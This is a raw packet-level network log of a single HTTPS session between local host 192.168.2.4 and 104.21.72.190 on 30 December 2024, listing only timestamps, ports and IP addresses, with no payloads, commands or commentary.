Dec 30, 2024 09:18:09.024333954 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024374962 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024418116 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.024425983 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024447918 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.024564981 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.024698019 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024713993 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024754047 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024768114 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.024786949 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024805069 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.024849892 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024869919 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.024878025 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024889946 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.024905920 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.025010109 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.025016069 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025074959 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025105000 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025134087 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.025141954 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025165081 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.025201082 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025232077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025269985 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.025276899 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025305033 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.025316000 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025401115 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.025408030 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.025677919 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.099976063 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.099999905 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.100049019 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.100081921 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.100106955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.100125074 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.100296974 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.104898930 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.104938984 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.104957104 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.104976892 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.104993105 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.105021000 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.105021000 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.107080936 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.107116938 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.107146978 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.107153893 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.107198000 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.107232094 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.107265949 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.107275009 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.107304096 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.108205080 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.108748913 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.108763933 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.108833075 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.108833075 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.108841896 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.109160900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.109631062 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.109780073 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.109811068 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.109818935 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.109833956 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.109847069 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.109945059 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.109982014 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.109985113 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.109996080 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110017061 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.110071898 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110105038 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.110111952 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110124111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110143900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.110366106 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.110373020 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110395908 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110425949 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.110431910 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110446930 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110457897 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.110467911 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110529900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.110529900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.110537052 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.110671997 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.138454914 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.138478994 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.138545036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.138545036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.138556004 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.138644934 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.184168100 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.184267044 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.184464931 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.184509039 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.184520006 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.184528112 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.184540987 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.184549093 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.184595108 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.184602976 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.189220905 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.189275980 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.189286947 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.189294100 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.189321995 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.189393044 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.189444065 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.189451933 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.189500093 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.191699982 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.191759109 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.191772938 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.191778898 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.191828012 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.191864967 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.191915989 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.191922903 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.193065882 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.193098068 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.193119049 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.193124056 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.193131924 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.193160057 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.193177938 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.194082975 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.194144964 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.194185972 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.194257975 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.194293976 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.194300890 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.194320917 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.194341898 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.194360971 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.194422007 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.194463015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.194499969 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.194616079 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.194667101 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.194943905 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.194993973 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.195014000 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.195022106 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.195034981 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.195070982 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.222986937 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.223011971 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.223052979 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.223058939 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.223066092 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.223084927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.223109007 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.269320011 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.269377947 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.269402027 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.269428015 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.269444942 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.269468069 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.273896933 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.273968935 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.273982048 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.273993969 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.274034023 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.276217937 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.276248932 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.276290894 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.276304007 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.276316881 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.276329994 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.276350975 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.276360989 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.276400089 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.276463985 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.276463985 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.276474953 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.276563883 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.277517080 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.277585030 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.278431892 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.278493881 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.278615952 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.278659105 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.278673887 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.278680086 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.278709888 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.278844118 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.278898954 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.279023886 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.279063940 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.279082060 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.279088974 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.279103041 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.279359102 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.279383898 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.279414892 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.279422998 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.279448986 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.319642067 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.353467941 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.353486061 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.353535891 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.353549004 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.353564024 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.353584051 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.358283997 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.358300924 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.358361959 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.358378887 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.358531952 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.360510111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.360528946 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.360594034 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.360604048 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.360667944 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.360690117 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.360716105 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.360749960 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.360758066 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.360780954 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.360793114 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.362957001 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.362972975 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363018036 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363025904 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363054991 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363063097 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363275051 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363306046 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363343000 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363352060 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363373995 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363394976 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363456011 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363472939 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363514900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363523006 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363550901 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363571882 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363768101 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363782883 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363831997 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.363841057 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.363924980 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.437788010 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.437807083 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.437871933 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.437885046 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.437947035 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.442648888 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.442665100 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.442722082 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.442730904 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.442776918 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.444977999 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.444996119 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.445059061 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.445067883 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.445162058 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.445178986 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.445194960 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.445235014 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.445242882 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.445291996 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.447339058 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447354078 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447417974 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.447424889 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447459936 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.447685957 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447700977 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447760105 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.447770119 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447848082 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.447860956 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447877884 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447909117 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.447915077 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.447942019 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.447959900 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.448101997 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.448118925 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.448153019 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.448159933 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.448184013 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.448200941 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.522356033 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.522377968 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.522438049 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.522468090 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.522485971 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.522516966 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.527050018 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.527072906 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.527127028 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.527136087 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.527148962 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.527235031 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.529422998 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.529443979 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.529510975 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.529520035 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.529568911 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.529726028 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.529742002 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.529783010 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.529793024 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.529829025 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.529848099 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.531691074 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.531708002 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.531763077 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.531770945 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.531801939 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.531827927 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.531966925 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.531999111 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.532032013 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.532040119 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.532064915 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.532085896 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.532232046 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.532269955 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.532286882 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.532294035 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.532320023 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.532342911 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.532608986 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.532624006 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.532668114 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.532675982 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.532697916 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.532711029 CET	49730	443	192.168.2.4	104.21.72.190
Dec 30, 2024 09:18:09.606961966 CET	443	49730	104.21.72.190	192.168.2.4
Dec 30, 2024 09:18:09.606978893 CET	443	49730	104.21.72.190	192.168.2.4
